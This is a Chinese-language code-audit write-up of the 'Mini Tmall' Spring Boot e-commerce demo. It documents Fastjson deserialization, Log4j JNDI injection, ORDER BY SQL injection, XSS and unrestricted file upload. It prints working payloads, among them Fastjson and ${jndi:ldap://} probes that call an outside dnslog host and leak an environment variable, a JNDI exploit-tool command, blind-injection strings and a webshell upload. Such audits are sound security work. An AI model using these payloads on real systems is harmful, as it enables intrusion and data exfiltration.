迷你天猫商城代码审计

迷你天猫商城代码审计

1.项目简介

迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

环境

java:1.8

mysql:5.7.26

部署

创建tmalldemodb数据库,source tmalldemodb.sql导入sql文件

修改application.properties文件中的端口与数据库连接密码

image-20240624135111737

admin/123456

image-20240624135622536

2.代码审计与漏洞验证

组件漏洞

从 pom.xml 文件开始审计引入的第三方组件是否存在漏洞版本,然后进一步验证该组件是否存在漏洞点

https://mvnrepository.com/ 可从这里直接搜,可看到相应版本是否有一些已知漏洞

image-20240624143929328

组件名称 组件版本
SpringBoot 2.1.6.RELEASE
Fastjson 1.2.58
Mysql 5.1.47
Druid 1.1.19
Taglibs 1.2.5
Mybatis 3.5.1
Log4j 2.10.0

fastjson

Fastjson版本为1.2.58,该版本存在反序列化漏洞

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作

Fastjson反序列化漏洞简单来说是出现在将JSON数据反序列化过程中出现的漏洞。攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行

已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。关注两个函数 JSON.parse()和 JSON.parseObject()

审计

全局搜索发现项目中存在JSON.parseObject

image-20240624141034627

ProductController.java中151行 反序列化了propertyJson参数

image-20240624141320334

跟一下propertyJson参数。

发现漏洞触发点为添加产品信息接口,可控参数为产品属性

image-20240624141645784

验证

使用burp抓取接口,找到响应的可控参数propertJson

image-20240624154552019

decoder解码

image-20240624154647099

为json格式的字符串

出网漏洞验证

dnslog地址:dnslog.org

74ae5a0e.log.dnslog.biz.

构造漏洞验证POC

{“@type”:”java.net.Inet4Address”,”val”:”666.74ae5a0e.log.dnslog.biz.”}

image-20240624155030204

image-20240624154950754

证明漏洞存在

其他漏洞验证poc:

1
2
3
4
5
6
7
8
9
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL","val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}

log4j

本项目引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞 (CVE-2021-44228)

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码

由于Apache Log4j2

某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码。其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用

审计

该组件漏洞主要发生在引入的 log4j-core , log4j-api 是不存在该问题的。 log4j-core 是源码, log4j-api 是接口

pom.xml 文件引入Log4j组件情况如下图所示,引入了 log4j-core ,以及版本为 2.10.0 。基本确定存在问题,验证还需进一步寻找能触发的漏洞点。

image-20240624142211895

全局搜索关键字 logger ,本项目使用 logger.info 级别记录日志方式居多

image-20240624142531887

发现有几处日志记录拼接了变量参数 ,以获取图片原始文件名为例

发现漏洞触发点:com/xq/tmall/controller/admin/AccountController.java

管理员头像上传接口处 ,获取上传头像的图片原始文件名作为赋值给originalfilename

利用方式:访问管理员头像上传功能,将文件名改为攻击语句,即可触发Log4j漏洞

image-20240624142958707

验证

漏洞利用详解:https://github.com/jas502n/Log4j2-CVE-2021-44228

出网漏洞验证

使用burp抓取头像上传接口

image-20240624155423054

获取dnslog地址

ef880d2e.log.dnslog.biz.

构造漏洞验证POC: ${jndi:ldap://666.ef880d2e.log.dnslog.biz.}

放在filename字段测试:

image-20240624155805512

验证成功 漏洞存在

出网外带信息验证

Log4j处理 ${} 是采用递归方式解析。也就是说有几个 ${} 表达式,就使用对应的Lookup解析几个。因此,我们可以配合使用DNSLog来进行信息外带。具体操作如下

攻击POC: ${jndi:ldap://${env:OS}.ef880d2e.log.dnslog.biz.}

将其粘贴到上传头像数据包中的filename处

image-20240624160025956

jndi注入验证

利用工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOTall.jar -C “calc” ( -C 远程class文件中要执行的命令。本例子为弹计算器 )

image-20240624160600272

根据相应的环境选择poc

image-20240624160654480

单点漏洞

对于单点功能代码审计除了特定漏洞存在特定代码审计方法,一般可先去看一遍Controller层代码,了解基本功能。再从功能出发进行代码审计

sql注入

本项目使用了Mybatis,来定义SQL。我们主要查看Myabatis中 xxxMapper.xml 文件中是否存在使用$ 拼接SQL语句的情况。使用 $ 是直接拼接SQL语句的,未进行转义。

审计

全局搜索关键字 $ ,确实存在几处 order by 使用了 $ 拼接SQL语句,因为 order by 是没办法使用 #{}的

image-20240624144255069

下载free mybatis tool 可以点击绿色箭头快速从mapper.xml文件中跳转到相应的dao层代码处

image-20240624145234590

来到dao层文件

image-20240624145736905

继续追踪select–》service层

image-20240624145923205

service接口–》controller层 userController.java

image-20240624150505733

orderUtil对象有两个属性

image-20240624150549380

sql语句中是根据orderutil的orderby参数来排序,所以关注orderby是如何传入的

image-20240624151045322

漏洞触发点:

接口:按条件查询用户处 admin/user/{index}/{count}

可控参数:orderBy

验证

使用burp抓取接口测试,输入单引号,出现异常

image-20240624151743562

测试语句(符号需要url编码):

https://govuln.com/tool/decoder/

1
2
1,if((1=1),1,(select 1 union select 2))
1,if((1=2),1,(select 1 union select 2))

其他测试语句

1.使用rand函数结果显示排序方式不同

1
2
orderBy=rand(1=1)
orderBy=rand(1=2)

2.利用regexp(正则表达式)

1
2
orderBy=(select+1+regexp+if(1=1,1,0x00)) 正常
orderBy=(select+1+regexp+if(1=2,1,0x00)) 错误

3.利用updatexml(更新选定XML片段的内容)

1
2
orderBy=updatexml(1,if(1=1,1,user()),1) 正确
orderBy=updatexml(1,if(1=2,1,user()),1) 错误

4.利用extractvalue(从目标XML中返回包含所查询值的字符串)

1
2
orderBy=extractvalue(1,if(1=1,1,user())) 正确
orderBy=extractvalue(1,if(1=2,1,user())) 错误

5.时间盲注

1
2
orderBy=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

image-20240624161601058

使用sqlmap

orderby参数处加*,保存为txt文件使用sqlmap进行测试

image-20240624161949709

xss漏洞

审计

从开发视角来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤 ,或者所使用的前端框架自带防XSS机制 。所以,审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码

image-20240624152801634

filter中只做了权限校验相关的检测

第二步,看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找,发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制

那么本项目应该存在xss漏洞

验证

见框就可尝试插xss

image-20240624162102926 image-20240624162134038

文件上传漏洞

对于代码审计任意文件上传漏洞来说,首先是看看是否存在文件上传功能,然后进一步审计是否存在任意文件上传漏洞。 或者搜索相关关键字,文件上传关键字如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest

对于 SpingBoot项目来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。如下图所示

image-20240624153320989

对于很多SpringBoot项目来说,是无需引入解析JSP依赖的。那么对于任意文件上传漏洞来说,上传JSP木马肯定是没有办法解析的。对于任意文件上传漏洞利用,只能通过内存马等方式进行攻击了

审计

审计上述log4j漏洞处的管理员头像上传功能

image-20240624153629578

直接提取上传文件后缀与生成的uuid拼接,对文件类型没有任何限制,并且上传到指定的目录中

用ai分析可能存在的问题:

image-20240624153934442

存在任意文件上传漏洞

验证

直接上传冰蝎马验证

image-20240624162724766

image-20240624162820924


迷你天猫商城代码审计
http://example.com/2024/06/24/迷你天猫商城代码审计/
作者
r1
发布于
2024年6月24日
许可协议